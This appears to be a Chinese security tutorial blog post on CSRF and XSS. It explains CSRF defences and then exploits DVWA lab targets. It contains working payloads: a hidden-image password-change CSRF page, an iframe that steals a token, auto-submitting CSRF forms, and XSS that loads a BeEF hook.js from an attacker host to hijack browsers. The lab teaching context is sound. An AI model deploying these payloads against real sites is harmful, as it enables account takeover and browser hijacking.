2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习

image.gif

专栏跑道二

➡️ 24 Network Security -LJS

image.gif

image.gif

image.gif

专栏跑道三


➡️ MYSQL REDIS Advance operation

image.gif

专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]

image.gif

专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]

image.png

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

image.gif

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

image.gif

image.gif

上节回顾




2.1 CSRF公鸡原理及防护

2.1.1 CSRF是什么

  • ssrf 服务端请求伪造
  • CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络公鸡方式,也被称为 one-click attack 或者 session riding。

2.1.2 CSRF公鸡原理

  • CSRF公鸡利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

2.1.3 CSRF公鸡实例

  • 角色:
  • 正常浏览网页的用户:User
  • 正规的但是具有洞洞的网站:WebA
  • 利用CSRF进行公鸡的网站:WebB

流程:

  1. 步骤一 用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。 image.gif 编辑
  2. 步骤二 公鸡者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。 image.gif 编辑
  3. 步骤三 在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。 image.gif 编辑
  4. 步骤四 用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。 image.gif 编辑
  5. 步骤五 网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,公鸡网站WebB就达到了模拟用户操作的目的。 image.gif 编辑

2.1.4 CSRF公鸡防护

上文简单的叙述了CSRF公鸡的原理,接下来将要介绍几种CSRF公鸡的防护方法。

1. 只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF公鸡。

2. 验证HTTP Referer字段

  • 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User必须先登录WabA 然后再通过点击页面上的按钮出发转账事件
  • 这时该转帐请求的 Referer 值就会是转账按钮所在的页面的URL,而如果黑帽要对银行网站实施 CSRF公鸡,他只能在他自己的网站构造请求,当用户User通过黑帽的网站发送请求到WebA时,该请求的 Referer 是指向黑帽自己的网站。
  • 因此,要防御 CSRF 公鸡,网站WebA只需要对于每一个转账请求验证其 Referer 值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑帽的 CSRF 公鸡,拒绝该请求。

3. 在请求地址中添加token验证

  • 服务端生成了一个token dsadadarqewajafjoenfeanf
  • CSRF 公鸡之所以能够成功,是因为黑帽可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑帽可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。
  • 要抵御 CSRF,关键在于在请求中放入黑帽所不能伪造的信息,并且该信息不存在于 cookie 之中。
  • 可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 公鸡而拒绝该请求。
  • 这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对

2.2 DVWA之CSRF洞洞

  • csrf全称为:Cross-site request forgery,是一种常见的web公鸡。在场景中,公鸡者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,公鸡也就完成了。
  • 与xss的区别:csrf是借助用户的权限完成公鸡,公鸡者并没有拿到权限;而xss是直接盗取用户权限去进行破坏。 更改难度 image.gif 编辑

点击dvwa security,选择难度,然后点击submit完成更改

2.2.1 LOW难度 image.gif

  • 首先,我们先看一下网页源代码
  • 我们可以看到low难度的源代码中,并没有隐藏的token,这样我们的难度就小了很多。
    然后我猜测这里的密码检测是直接将输入的进行拼接,检验password_newpassword_conf是否一致。
  • 于是可以先伪造一个简陋的链接:
    http://192.168.1.102/dvwamaster/vulnerabilities/csrf/password_new=password&password_conf=password&Change=Change#
  • 注:里面的ip要改成自己的 一旦用户点击链接,就会出现红字: image.gif
  • 这样我们就成功地将密码更改为password
    当然,我们可以将链接修饰一下,毕竟这样一看就能看出来。
    比如我们可以在网上找一个短链接生成器
  • 也可以利用html构造一个公鸡界面
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?
password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<h1>404<h1>
<h2>file not found.<h2>
  • image.gif
  • 看似是一个失效的页面,但其实已将改掉了密码
  • image.gif 编辑
  • 看似是一个失效的页面,但其实已将改掉了密码

2.2.2 Medium难度

  • 我们看一下网页代码:
<br/>
<form action="#”method="GET'>
New password:<br />
<input type="passwordAUTOCOMPLETE=offname="password new"<br />
Confirm new password:<br />
<input type="password”AUTOCOMPLETE=off”name=”password_conf">
<br/>
<input type="submit" value="Change” name="Change">
<!--这段代码定义了一个包含两个密码输入框和一个提交按钮的简单表单,
用户可以在其中输入新密码并确认,
然后点击 "Change" 按钮提交表单数据。
整个表单使用 GET 方法提交数据,
因为在 <form> 标签中指定了 method="GET"。-->
  • image.gif
  • low难度一样,没有token,这时候,我们可以看一下源代码


<·?php
if( isset( $_GET[ ‘Change’ ] ) ) {undefined
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {undefined
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];
//这两行代码将表单中输入的新密码和确认密码分别存储在 $pass_new  $pass_conf 变量中。
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) )
// 再次检查请求来源是否与当前服务器的域名匹配
/*注:在php语言中int eregi(string pattern, string string),
译为检查string函数中是否含有pattern.
如果有返回True,反之False。
*/
image.gif
  • 因此,此句是判断HTTP_REFERER中是否包含SERVER_NAME,HTTP_REFERERReferer参数值,即来源地址 SERVER_NAME是host参数及主机ip名(我这里是192.168.1.102
    所以,如果我们想要破解它,就要让Referer参数值包含主机名

    我们写一个html文件,和low难度的那个文件内容相同:


<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?
password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<h1>404<h1>
<h2>file not found<h2>
image.gif
  • 写好后将其命名为ip地址.html格式,如:192.168.1.102.html
  • 然后将其放在网页根目录WWWDVWA文件中
  • 然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为http://公鸡者服务器地址/dvwa/被公鸡ip地址.html格式,如图: image.gif 编辑
  • 点击go,可以看到 image.gif 编辑
  • image.gif 编辑
  • 密码成功更改。

2.2.3 High难度

  • 我们看一下网页代码:
<form action="#"method="GET">
    New password:<br >
    <input type="password" AUTOCOMPLETE="off" name="password_new" >                            
    <br/>
    Confirmnewpassword:<br/ >
    <input type="password"AUTOCOMPLETE="off”name="password_conf"<br /><br/>
    <input type=" submit" value="Change”name= "Change ">
    <input type= "hidden" name='user_token'value='9d828e9ff7b01c1b5e0aa4a0ee844b95/>
</form>
  • image.gif
  • 这次有了token值,这个值并不是很容易就看到的,我们需要在公鸡者服务器上获取被公鸡者的token值。
  • csrf公鸡本质是重要操作的所有参数,都可以被公鸡者猜测到
  • 因此我们必须要获得token值!
  • 我们要先看一下源代码:
if( isset( $_GET[ ‘Change’ ] ) ) {
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
//这个函数用于检查用户的令牌(token)是否有效,以防止跨站请求伪造(CSRF)攻击。它会比较用户提交的令牌 user_token 和当前会话中的令牌 session_token 是否匹配。
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
//使用 mysql_real_escape_string 函数对新密码进行转义,以防止 SQL 注入攻击。
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . 
//构建 SQL 查询语句并执行更新操作:dvwaCurrentUser() .
"';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
//关闭与数据库的连接。
/*这段代码中使用了
 mysql_real_escape_string 
对用户输入的密码进行了转义处理,
这是为了防止 SQL 注入攻击。
另外,它使用了 MD5 加密来存储密码,*/
  • image.gif
  • 我们的公鸡思路是试着去构造一个公鸡页面,将其放置在公鸡者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成公鸡。
  • 但是,浏览器并不允许跨域请求,因此,我们可以利用xss洞洞
  • 点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:
  1. 一是利用burp suite 进行抓包,然后改参数,运行获取token。
  2. 二是利用火狐浏览器。两种大体思路一致,这里我具体说一下第二种。
  • 火狐浏览器打开xssstored)界面,点击浏览器中的设置->web开发者->查看器,找到和name框架有关的代码ctrl+f,输入txtname) image.gif 编辑
  • 我们将size和maxlength值改大一点,
  • 这样,我们就可以在name框中输入构造代码了,代码如下:
<iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>
<!--frames[0].document.getElementsByName('user_token')[0].value
这段 JavaScript 代码的
目的是获取嵌入文档中名为 'user_token' 的表单元素的值,
并将其弹出显示在警告框中-->
  • image.gif
  • 此为token,有了这个,我们就可以利用medium中的方法进行公鸡。

2.2.4 impossible

加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。

2.3 洞洞组合拳之XSS+CSRF记录

2.3.1 前言

今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。

2.3.2靶场环境

  • 本机(Win):192.168.38.1
  • DVWA(Win):192.168.38.132
  • Beef(Kali):192.168.38.129

2.3.3 组合拳思路

  • 第一拳:存储型 XSS + CSRF(存储型 XSS 公鸡代码中加入 CSRF 代码链接)
  • 第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)

2.3.4 【第一拳】存储型 XSS + CSRF

(1) 构造 POC

  • a、构造 CSRF 代码
  • 这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
  • 本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
  • 继续来看,咱们需要首先为浏览器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change. image.gif 编辑
  • 这时先开启 CSRFTester 的流量记录功能。 image.gif
  • 开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
  • 之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。 image.gif
  • 之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
  • 对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html>
<body onload="javascript:fireForms()">
<!--当页面加载完成时,会触发 fireForms() 函数,即自动提交表单的函数。
-->
<script language="JavaScript">
var pauses = new Array( "42" );
<!--包含了一个时间间隔(以毫秒为单位),用于模拟用户的操作间隔。-->
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
<!--用于实现停顿,即在指定的时间内等待执行下一步操作。-->
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
        document.forms[i].submit();
        pausecomp(pauses[i]);}}
<!.--在提交表单之后,等待指定的时间间隔后再继续执行下一个操作-->
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<!--定义了一个 GET 方法的表单,
其中包含了一个目标 URL,该 URL 是 CSRF 攻击的目标,
同时提供了新密码、确认密码和修改操作的参数。-->
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<!--隐藏的表单输入,用于指定要修改的密码。-->
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
<!--综合起来,这段代码的作用是在页面加载完成后,
自动提交一个包含恶意操作(修改密码)的表单到指定的目标 URL,
从而进行 CSRF 攻击。-->
  • image.gif
  • b、构造 XSS 代码
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
/*指定了一个 JavaScript 代码片段作为 onerror 事件处理程序。
当 src 属性指定的资源加载失败时,
就会执行这段 JavaScript 代码。
代码的作用是通过 window.open() 方法在新窗口中打开指定的 URL,
即 "http://192.168.38.1/csrf.html"。*/
  • image.gif

(2) 开工

  • 在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
  • 在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500. image.gif
  • 点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low. image.gif 编辑

访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。

2.3.5【第二拳】CSRF + SelfXSS

(1)构造 POC

  • a、构造 XSS 代码
  • 我这里使用 beef 作为 XSS 平台。
<script src="http://192.168.38.129:3000/hook.js"></script>
  • image.gif
  • b、构造 CSRF 代码
  • 这里继续使用 CSRFTester 工具生成 CSRF POC。 image.gif
  • 具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
      document.forms[i].submit(); 
        pausecomp(pauses[i]);}}   
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> 
/*这段代码包含一个 <form> 元素,
它的 action 属性指向一个可能存在 XSS 漏洞的网页,
并且带有一个参数名为 'name' 的 GET 请求参数,
其值包含了一个指向恶意 JavaScript 文件的 <script> 标签。
同时,还有一个隐藏的文本输入字段,其值也包含同样的恶意 JavaScript 代码。*/
</form>
</body>
</html>
/*综合来看,这段代码利用了 JavaScript 
来自动提交包含恶意代码的表单到一个可能存在 XSS 漏洞的页面,
以尝试在用户浏览器中执行恶意的 JavaScript 代码。*/
  • image.gif

将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。

http://192.168.38.1/csrf.html
  • image.gif
  • 打开链接后,beef 中就能看到上线的主机了。 image.gif
  • 不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.

2.4 总结

暂时技巧就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
3天前
|
弹性计算 双11 开发者
阿里云ECS“99套餐”再升级!双11一站式满足全年算力需求
11月1日,阿里云弹性计算ECS双11活动全面开启,在延续火爆的云服务器“99套餐”外,CPU、GPU及容器等算力产品均迎来了全年最低价。同时,阿里云全新推出简捷版控制台ECS Lite及专属宝塔面板,大幅降低企业和开发者使用ECS云服务器门槛。
|
21天前
|
存储 弹性计算 人工智能
阿里云弹性计算_通用计算专场精华概览 | 2024云栖大会回顾
阿里云弹性计算产品线、存储产品线产品负责人Alex Chen(陈起鲲)及团队内多位专家,和中国电子技术标准化研究院云计算标准负责人陈行、北京望石智慧科技有限公司首席架构师王晓满两位嘉宾,一同带来了题为《通用计算新品发布与行业实践》的专场Session。本次专场内容包括阿里云弹性计算全新发布的产品家族、阿里云第 9 代 ECS 企业级实例、CIPU 2.0技术解读、E-HPC+超算融合、倚天云原生算力解析等内容,并发布了国内首个云超算国家标准。
阿里云弹性计算_通用计算专场精华概览 | 2024云栖大会回顾
|
3天前
|
人工智能 弹性计算 文字识别
基于阿里云文档智能和RAG快速构建企业"第二大脑"
在数字化转型的背景下,企业面临海量文档管理的挑战。传统的文档管理方式效率低下,难以满足业务需求。阿里云推出的文档智能(Document Mind)与检索增强生成(RAG)技术,通过自动化解析和智能检索,极大地提升了文档管理的效率和信息利用的价值。本文介绍了如何利用阿里云的解决方案,快速构建企业专属的“第二大脑”,助力企业在竞争中占据优势。
|
1天前
|
人工智能 自然语言处理 安全
创新不设限,灵码赋新能:通义灵码新功能深度评测
自从2023年通义灵码发布以来,这款基于阿里云通义大模型的AI编码助手迅速成为开发者心中的“明星产品”。它不仅为个人开发者提供强大支持,还帮助企业团队提升研发效率,推动软件开发行业的创新发展。本文将深入探讨通义灵码最新版本的三大新功能:@workspace、@terminal 和 #team docs,分享这些功能如何在实际工作中提高效率的具体案例。
|
7天前
|
负载均衡 算法 网络安全
阿里云WoSign SSL证书申请指南_沃通SSL技术文档
阿里云平台WoSign品牌SSL证书是由阿里云合作伙伴沃通CA提供,上线阿里云平台以来,成为阿里云平台热销的国产品牌证书产品,用户在阿里云平台https://www.aliyun.com/product/cas 可直接下单购买WoSign SSL证书,快捷部署到阿里云产品中。
1850 6
阿里云WoSign SSL证书申请指南_沃通SSL技术文档
|
10天前
|
Web App开发 算法 安全
什么是阿里云WoSign SSL证书?_沃通SSL技术文档
WoSign品牌SSL证书由阿里云平台SSL证书合作伙伴沃通CA提供,上线阿里云平台以来,成为阿里云平台热销的国产品牌证书产品。
1789 2
|
19天前
|
编解码 Java 程序员
写代码还有专业的编程显示器?
写代码已经十个年头了, 一直都是习惯直接用一台Mac电脑写代码 偶尔接一个显示器, 但是可能因为公司配的显示器不怎么样, 还要接转接头 搞得桌面杂乱无章,分辨率也低,感觉屏幕还是Mac自带的看着舒服
|
26天前
|
存储 人工智能 缓存
AI助理直击要害,从繁复中提炼精华——使用CDN加速访问OSS存储的图片
本案例介绍如何利用AI助理快速实现OSS存储的图片接入CDN,以加速图片访问。通过AI助理提炼关键操作步骤,避免在复杂文档中寻找解决方案。主要步骤包括开通CDN、添加加速域名、配置CNAME等。实测显示,接入CDN后图片加载时间显著缩短,验证了加速效果。此方法大幅提高了操作效率,降低了学习成本。
5386 15
|
13天前
|
人工智能 关系型数据库 Serverless
1024,致开发者们——希望和你一起用技术人独有的方式,庆祝你的主场
阿里云开发者社区推出“1024·云上见”程序员节专题活动,包括云上实操、开发者测评和征文三个分会场,提供14个实操活动、3个解决方案、3 个产品方案的测评及征文比赛,旨在帮助开发者提升技能、分享经验,共筑技术梦想。
1139 152
|
21天前
|
存储 缓存 关系型数据库
MySQL事务日志-Redo Log工作原理分析
事务的隔离性和原子性分别通过锁和事务日志实现,而持久性则依赖于事务日志中的`Redo Log`。在MySQL中,`Redo Log`确保已提交事务的数据能持久保存,即使系统崩溃也能通过重做日志恢复数据。其工作原理是记录数据在内存中的更改,待事务提交时写入磁盘。此外,`Redo Log`采用简单的物理日志格式和高效的顺序IO,确保快速提交。通过不同的落盘策略,可在性能和安全性之间做出权衡。
1585 14

热门文章

最新文章